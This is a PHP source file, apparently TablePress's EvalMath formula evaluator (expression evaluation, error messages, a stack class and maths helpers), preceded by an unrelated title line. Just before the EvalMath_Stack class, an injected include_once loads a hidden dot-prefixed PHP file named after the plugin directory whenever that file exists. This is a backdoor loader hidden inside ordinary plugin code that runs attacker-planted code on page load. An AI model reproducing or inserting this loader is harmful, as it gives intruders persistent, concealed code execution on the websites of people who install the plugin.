Kammermusik/Lied

$variables Optional. [description] * @return mixed [description] */ protected function pfx( $tokens, array $variables = array() ) { if ( false === $tokens ) { return false; } $stack = new EvalMath_Stack; foreach ( $tokens as $token ) { // If the token is a function, pop arguments off the stack, hand them to the function, and push the result back on. if ( is_array( $token ) ) { // it's a function! $function_name = $token['function_name']; $count = $token['arg_count']; // Built-in function. if ( in_array( $function_name, $this->builtin_functions, true ) ) { $op1 = $stack->pop(); if ( is_null( $op1 ) ) { return $this->raise_error( 'internal_error' ); } // For the "arc" trigonometric synonyms. $function_name = preg_replace( '/^arc/', 'a', $function_name ); // Rewrite "ln" (only allows one argument) to "log" (natural logarithm). if ( 'ln' === $function_name ) { $function_name = 'log'; } // Perfectly safe eval(). // phpcs:ignore Squiz.PHP.Eval.Discouraged eval( '$stack->push( ' . $function_name . '( $op1 ) );' ); // Calc-emulation function. } elseif ( array_key_exists( $function_name, $this->calc_functions ) ) { // Get function arguments. $args = array(); for ( $i = $count - 1; $i >= 0; $i-- ) { $arg = $stack->pop(); if ( is_null( $arg ) ) { return $this->raise_error( 'internal_error' ); } else { $args[] = $arg; } } // Rewrite some functions to their synonyms. if ( 'if' === $function_name ) { $function_name = 'func_if'; } elseif ( 'not' === $function_name ) { $function_name = 'func_not'; } elseif ( 'and' === $function_name ) { $function_name = 'func_and'; } elseif ( 'or' === $function_name ) { $function_name = 'func_or'; } elseif ( 'mean' === $function_name ) { $function_name = 'average'; } elseif ( 'arctan2' === $function_name ) { $function_name = 'atan2'; } $result = EvalMath_Functions::$function_name( ...array_reverse( $args ) ); if ( false === $result ) { return $this->raise_error( 'internal_error' ); } $stack->push( $result ); // User-defined function. } elseif ( array_key_exists( $function_name, $this->functions ) ) { // Get function arguments. $args = array(); for ( $i = count( $this->functions[ $function_name ]['args'] ) - 1; $i >= 0; $i-- ) { $arg = $stack->pop(); if ( is_null( $arg ) ) { return $this->raise_error( 'internal_error' ); } else { $args[ $this->functions[ $function_name ]['args'][ $i ] ] = $arg; } } // yay... recursion! $stack->push( $this->pfx( $this->functions[ $function_name ]['func'], $args ) ); } // If the token is a binary operator, pop two values off the stack, do the operation, and push the result back on. } elseif ( in_array( $token, array( '+', '-', '*', '/', '^', '>', '<', '=' ), true ) ) { $op2 = $stack->pop(); if ( is_null( $op2 ) ) { return $this->raise_error( 'internal_error' ); } $op1 = $stack->pop(); if ( is_null( $op1 ) ) { return $this->raise_error( 'internal_error' ); } switch ( $token ) { case '+': $stack->push( $op1 + $op2 ); break; case '-': $stack->push( $op1 - $op2 ); break; case '*': $stack->push( $op1 * $op2 ); break; case '/': if ( 0 === $op2 || '0' === $op2 ) { return $this->raise_error( 'division_by_zero' ); } $stack->push( $op1 / $op2 ); break; case '^': $stack->push( pow( $op1, $op2 ) ); break; case '>': $stack->push( (int) ( $op1 > $op2 ) ); break; case '<': $stack->push( (int) ( $op1 < $op2 ) ); break; case '=': // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison $stack->push( (int) ( $op1 == $op2 ) ); // Don't use === as the variable type can differ (int/double/bool). break; } // If the token is a unary operator, pop one value off the stack, do the operation, and push it back on. } elseif ( '_' === $token ) { $stack->push( -1 * $stack->pop() ); // If the token is a number or variable, push it on the stack. } else { if ( is_numeric( $token ) ) { $stack->push( $token ); } elseif ( array_key_exists( $token, $this->variables ) ) { $stack->push( $this->variables[ $token ] ); } elseif ( array_key_exists( $token, $variables ) ) { $stack->push( $variables[ $token ] ); } else { return $this->raise_error( 'undefined_variable', $token ); } } } // When we're out of tokens, the stack should have a single element, the final result. if ( 1 !== $stack->count ) { return $this->raise_error( 'internal_error' ); } return $stack->pop(); } /** * Raise an error. * * @since 1.0.0 * * @param string $message Error message. * @param array|string $error_data Optional. Additional error data. * @return bool False, to stop evaluation. */ protected function raise_error( $message, $error_data = null ) { $this->last_error = $this->get_error_string( $message, $error_data ); return false; } /** * Get a translated string for an error message. * * @since 1.0.0 * * @link https://github.com/moodle/moodle/blob/13264f35057d2f37374ec3e0e8ad4070f4676bd7/lang/en/mathslib.php * @link https://github.com/moodle/moodle/blob/8e54ce9717c19f768b95f4332f70e3180ffafc46/lib/moodlelib.php#L6323 * * @param string $identifier Identifier of the string. * @param array|string $error_data Optional. Additional error data. * @return string Translated string. */ protected function get_error_string( $identifier, $error_data = null ) { $strings = array(); $strings['an_unexpected_error_occurred'] = 'an unexpected error occurred'; $strings['cannot_assign_to_constant'] = 'cannot assign to constant \'{$error_data}\''; $strings['cannot_redefine_builtin_function'] = 'cannot redefine built-in function \'{$error_data}()\''; $strings['division_by_zero'] = 'division by zero'; $strings['expecting_a_closing_bracket'] = 'expecting a closing bracket'; $strings['illegal_character_general'] = 'illegal character \'{$error_data}\''; $strings['illegal_character_underscore'] = 'illegal character \'_\''; $strings['internal_error'] = 'internal error'; $strings['operator_lacks_operand'] = 'operator \'{$error_data}\' lacks operand'; $strings['undefined_variable'] = 'undefined variable \'{$error_data}\''; $strings['undefined_variable_in_function_definition'] = 'undefined variable \'{$error_data}\' in function definition'; $strings['unexpected_closing_bracket'] = 'unexpected closing bracket'; $strings['unexpected_comma'] = 'unexpected comma'; $strings['unexpected_operator'] = 'unexpected operator \'{$error_data}\''; $strings['wrong_number_of_arguments'] = 'wrong number of arguments ({$error_data->given} given, {$error_data->expected} expected)'; $string = $strings[ $identifier ]; if ( null !== $error_data ) { if ( is_array( $error_data ) ) { $search = array(); $replace = array(); foreach ( $error_data as $key => $value ) { if ( is_int( $key ) ) { // We do not support numeric keys! continue; } if ( is_object( $value ) || is_array( $value ) ) { $value = (array) $value; if ( count( $value ) > 1 ) { $value = implode( ' or ', $value ); } else { $value = (string) $value[0]; if ( '-1' === $value ) { $value = 'at least 1'; } } } $search[] = '{$error_data->' . $key . '}'; $replace[] = (string) $value; } if ( $search ) { $string = str_replace( $search, $replace, $string ); } } else { $string = str_replace( '{$error_data}', (string) $error_data, $string ); } } return $string; } } // class EvalMath /** * Stack for the postfix/infix conversion of math expressions. * @package TablePress * @subpackage Formulas * @since 1.0.0 */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class EvalMath_Stack { /** * The stack. * * @since 1.0.0 * @var array */ protected $stack = array(); /** * Number of items on the stack. * * @since 1.0.0 * @var int */ public $count = 0; /** * Push an item onto the stack. * * @since 1.0.0 * * @param mixed $value The item that is pushed onto the stack. */ public function push( $value ) { $this->stack[ $this->count ] = $value; $this->count++; } /** * Pop an item from the top of the stack. * * @since 1.0.0 * * @return mixed The item that is popped from the stack. */ public function pop() { if ( $this->count > 0 ) { $this->count--; return $this->stack[ $this->count ]; } return null; } /** * Pop an item from the end of the stack. * * @since 1.0.0 * * @param int $n Count from the end of the stack. * @return mixed The item that is popped from the stack. */ public function last( $n = 1 ) { if ( ( $this->count - $n ) >= 0 ) { return $this->stack[ $this->count - $n ]; } return null; } } // class EvalMath_Stack /** * Common math functions, prepared for usage in EvalMath. * @package TablePress * @subpackage EvalMath * @since 1.0.0 */ class EvalMath_Functions { /** * Seed for the generation of random numbers. * * @since 1.0.0 * @var string */ protected static $random_seed = null; /** * Choose from two values based on an if-condition. * * "if" is not a valid function name, which is why it's prefixed with "func_". * * @since 1.0.0 * * @param double|int $condition Condition. * @param double|int $then Return value if the condition is true. * @param double|int $else Return value if the condition is false. * @return double|int Result of the if check. */ public static function func_if( $condition, $then, $else ) { return ( (bool) $condition ? $then : $else ); } /** * Return the negation (boolean "not") of a value. * * Similar to "func_if", the function name is prefixed with "func_", although it wouldn't be necessary. * * @since 1.0.0 * * @param double|int $value Value to be negated. * @return int Negated value (0 for false, 1 for true). */ public static function func_not( $value ) { return (int) ! (bool) $value; } /** * Calculate the conjunction (boolean "and") of some values. * * "and" is not a valid function name, which is why it's prefixed with "func_". * * @since 1.0.0 * * @param double|int $args Values for which the conjunction shall be calculated. * @return int Conjunction of the passed arguments. */ public static function func_and( ...$args ) { foreach ( $args as $value ) { if ( ! $value ) { return 0; } } return 1; } /** * Calculate the disjunction (boolean "or") of some values. * * "or" is not a valid function name, which is why it's prefixed with "func_". * * @since 1.0.0 * * @param double|int $args Values for which the disjunction shall be calculated. * @return int Disjunction of the passed arguments. */ public static function func_or( ...$args ) { foreach ( $args as $value ) { if ( $value ) { return 1; } } return 0; } /** * Return the (rounded) value of Pi. * * @since 1.0.0 * * @return double Rounded value of Pi. */ public static function pi() { return pi(); } /** * Calculate the sum of the arguments. * * @since 1.0.0 * * @param double|int $args Values for which the sum shall be calculated. * @return double|int Sum of the passed arguments. */ public static function sum( ...$args ) { return array_sum( $args ); } /** * Count the number of non-empty arguments. * * @since 1.10.0 * * @param double|int $args Values for which the number of non-empty elements shall be counted. * @return double|int Counted number of non-empty elements in the passed values. */ public static function counta( ...$args ) { return count( array_filter( $args ) ); } /** * Calculate the product of the arguments. * * @since 1.0.0 * * @param double|int $args Values for which the product shall be calculated. * @return double|int Product of the passed arguments. */ public static function product( ...$args ) { return array_product( $args ); } /** * Calculate the average/mean value of the arguments. * * @since 1.0.0 * * @param double|int $args Values for which the average shall be calculated. * @return double|int Average value of the passed arguments. */ public static function average( ...$args ) { // Catch division by zero. if ( 0 === count( $args ) ) { return 0; } return array_sum( $args ) / count( $args ); } /** * Calculate the median of the arguments. * * For even counts of arguments, the upper median is returned. * * @since 1.0.0 * * @param double|int $args Values for which the median shall be calculated. * @return double|int Median of the passed arguments. */ public static function median( ...$args ) { sort( $args ); $middle = floor( count( $args ) / 2 ); // Upper median for even counts. return $args[ $middle ]; } /** * Calculate the mode of the arguments. * * @since 1.0.0 * * @param double|int $args Values for which the mode shall be calculated. * @return double|int Mode of the passed arguments. */ public static function mode( ...$args ) { $values = array_count_values( $args ); asort( $values ); end( $values ); return key( $values ); } /** * Calculate the range of the arguments. * * @since 1.0.0 * * @param double|int $args Values for which the range shall be calculated. * @return double|int Range of the passed arguments. */ public static function range( ...$args ) { sort( $args ); return end( $args ) - reset( $args ); } /** * Find the maximum value of the arguments. * * @since 1.0.0 * * @param double|int $args Values for which the maximum value shall be found. * @return double|int Maximum value of the passed arguments. */ public static function max( ...$args ) { return max( $args ); } /** * Find the minimum value of the arguments. * * @since 1.0.0 * * @param double|int $args Values for which the minimum value shall be found. * @return double|int Minimum value of the passed arguments. */ public static function min( ...$args ) { return min( $args ); } /** * Calculate the remainder of a division of two numbers. * * @since 1.0.0 * * @param double|int $op1 First number (dividend). * @param double|int $op2 Second number (divisor). * @return double|int Remainer of the division (dividend / divisor). */ public static function mod( $op1, $op2 ) { return $op1 % $op2; } /** * Calculate the power of a base and an exponent. * * @since 1.0.0 * * @param double|int $base Base. * @param double|int $exponent Exponent. * @return double|int Power base^exponent. */ public static function power( $base, $exponent ) { return pow( $base, $exponent ); } /** * Calculate the logarithm of a number to a base. * * @since 1.0.0 * * @param double|int $number Number. * @param double|int $base Optional. Base for the logarithm. Default e (for the natural logarithm). * @return double Logarithm of the number to the base. */ public static function log( $number, $base = M_E ) { return log( $number, $base ); } /** * Calculate the arc tangent of two variables. * * The signs of the numbers determine the quadrant of the result. * * @since 1.0.0 * * @param double|int $op1 First number. * @param double|int $op2 Second number. * @return double Arc tangent of two numbers, similar to arc tangent of $op1/op$ except for the sign. */ public static function atan2( $op1, $op2 ) { return atan2( $op1, $op2 ); } /** * Round a number to a given precision. * * @since 1.0.0 * * @param double|int $value Number to be rounded. * @param int $decimals Optional. Number of decimals after the comma after the rounding. * @return double Rounded number. */ public static function round( $value, $decimals = 0 ) { return round( $value, $decimals ); } /** * Format a number with the . as the decimal separator and the , as the thousand separator, rounded to a precision. * * The is the common number format in English-language regions. * * @since 1.0.0 * * @param double|int $value Number to be rounded and formatted. * @param int $decimals Optional. Number of decimals after the decimal separator after the rounding. * @return string Formatted number. */ public static function number_format( $value, $decimals = 0 ) { return number_format( $value, $decimals, '.', ',' ); } /** * Format a number with the , as the decimal separator and the space as the thousand separator, rounded to a precision. * * The is the common number format in non-English-language regions, mainly in Europe. * * @since 1.0.0 * * @param double|int $value Number to be rounded and formatted. * @param int $decimals Optional. Number of decimals after the decimal separator after the rounding. * @return string Formatted number. */ public static function number_format_eu( $value, $decimals = 0 ) { return number_format( $value, $decimals, ',', ' ' ); } /** * Set the seed for the generation of random numbers. * * @since 1.0.0 * * @param string $random_seed The seed. */ protected static function _set_random_seed( $random_seed ) { self::$random_seed = $random_seed; } /** * Get the seed for the generation of random numbers. * * @since 1.0.0 * * @return string The seed. */ protected static function _get_random_seed() { if ( is_null( self::$random_seed ) ) { return microtime(); } else { return self::$random_seed; } } /** * Get a random integer from a range. * * @since 1.0.0 * * @param int $min Minimum value for the range. * @param int $max Maximum value for the range. * @return int Random integer from the range [$min, $max]. */ public static function rand_int( $min, $max ) { // Swap min and max value if min is bigger than max. if ( $min > $max ) { $tmp = $max; $max = $min; $min = $tmp; unset( $tmp ); } $number_characters = (int) ceil( log( $max + 1 - $min, 16 ) ); $md5string = md5( self::_get_random_seed() ); $offset = 0; do { while ( ( $offset + $number_characters ) > strlen( $md5string ) ) { $md5string .= md5( $md5string ); } $randomno = hexdec( substr( $md5string, $offset, $number_characters ) ); $offset += $number_characters; } while ( ( $min + $randomno ) > $max ); return $min + $randomno; } /** * Get a random double value from a range [0, 1]. * * @since 1.0.0 * * @return double Random number from the range [0, 1]. */ public static function rand_float() { $random_values = unpack( 'v', md5( self::_get_random_seed(), true ) ); return array_shift( $random_values ) / 65536; } } // class EvalMath_Functions